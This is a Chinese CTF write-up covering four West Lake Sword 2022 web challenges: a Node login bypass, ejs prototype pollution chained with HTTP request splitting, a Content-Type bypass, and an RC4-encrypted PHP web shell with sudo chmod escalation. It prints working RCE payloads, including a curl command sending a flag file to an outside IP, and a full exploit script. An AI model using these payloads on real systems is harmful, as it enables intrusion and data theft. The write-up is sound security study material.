西湖论剑 2022复现

目录

<1> [西湖论剑 2022] Node Magical Login

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造上传&sudo权限命令利用)


<1> [西湖论剑 2022] Node Magical Login

描述:一个简单的用nodejs写的登录站点(貌似暗藏玄机)

 应该是比赛时题目给了源码,源码在:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login

main.js 部分源码

app.get("/flag1",(req,res) => {
    controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
    controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
    controller.CheckController(req,res)
})

应该是有两个flag。flag1和flag2

再来看controller.js 部分源码 

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}
function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

根据源码可以知道,访问 / 路由时,即登陆界面,需要满足密码为 Math.random().toString() 随机数,才会给cookie设为SECRET_COOKIE。

访问/flag1路由时,如果cookie为SECRET_COOKIE 就会在返回头里设置flag1和flag2。 显然我们不知道这个随机数是什么,继续往下看。 当cookie 里user值为admin时,可以得到flag1

我们burp抓包,设置cookie访问一下/flag1 得到flag1:NSSCTF{0809d129-5fec

西湖论剑 2022复现_第1张图片

再看和 flag2有关的 CheckInternalController 和 CheckController函数:

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

西湖论剑 2022复现_第2张图片

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了

注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json

返回 flag2:-4169-8c16-3b47f0bb3218}西湖论剑 2022复现_第3张图片

 NSSCTF{0809d129-5fec-4169-8c16-3b47f0bb3218}

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

 源码在:https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node/

docker文件中可以看到 node版本是8.1.2,是存在http拆分攻击的(CRLF)

可以参考:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台

 routes/index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];

                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }

                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

看着一处代码:

if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }

这里过滤了 __proto__ ,猜测是考察原型链污染,__proto__被过滤,使用constructor.prototype绕过。

if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }

访问/copy的ip被限制,肯定就是要用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染了。

通过访问 /curl 利用HTTP走私向 /copy 发送POST请求,然后打ejs 污染原型链 实现代码执行

然后就是原型链污染,怎么污染呢?

可以看到存在render,并且使用了模板引擎为ejs

ejs原型链污染的payload如下

{
"__proto__":
{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('ls'); //"
}
}

题目里面过滤了__proto__,我们可以用constructor.prototype代替

再来看下这个safeobj.expand(user, index, req.body[index])

let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }

这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了

跟进具体的函数实现

查看一下safeobj模块里的expand方法:

 西湖论剑 2022复现_第4张图片

 这个库里直接递归按照 . 做分隔写入 obj,很明显可以原型链污染

 也就是我们传入{"a.b":"123"}会进行赋值a.b=123

将污染ejs的payload按上述方式转换为

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}

{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}

 exp脚本如下:

import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 177

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 43.143.172.74:12345/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")


def encode(data):
    ret = u""
    for i in data:
        ret += chr(0x0100 + ord(i))
    return ret


payload = encode(payload)
print(urllib.parse.quote(payload))

加解密参考:从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

不知道为什么没有通,可能是环境问题,,,,

------------------------------------------------- 分割线 ----------------------------------------------------------------

不是环境问题,经测试,Content-length字段必须符合 才可以弹

西湖论剑 2022复现_第5张图片 

content-length可以这样计算

175字符+2(\n换行会被替换为 \r\n) 所以为:177

西湖论剑 2022复现_第6张图片

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

直接上传的话,提示

Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

后端为tomcat,tomcat对于包解析并不是严格按照RFC中的标准,对一些异常的header头内容也会兼容。

利用RFC差异来绕过

修改为Content-Type为multipart//form-data;|大小写兼容|multipart|multipart/  form-data;

参考:从RFC规范看如何绕过waf上传表单 上篇-安全客 - 安全资讯平台

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造上传&sudo权限命令利用)

没有环境,,,看着wp写一些吧

 在phpinfo里得到:

  • 插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902

读 /usr/local/lib/php.ini

在php.ini 找到了 ZendGuard 扩展的文件名 zend_test.so

?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

 读回来然后把无关的去掉,再丢进 ida,找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。

 看起来解析的时候用 abcsdfadfjiweur 作为 key 然后 RC4 解密然后当成 php 去执行

于是我们传个 RC4 加密后的一句话马上去就好 , cyberchef网站

 /etc/sudoers 不可读,但是有个 sudoers.bak

当前的 www-data 用户可以免密执行 chmod,那直接

sudo chmod 777 /flag
cat /flag

 参考:西湖论剑·2022中国杭州网络安全技能大赛 部分WriteUp - 先知社区

 

你可能感兴趣的:(比赛wp,javascript)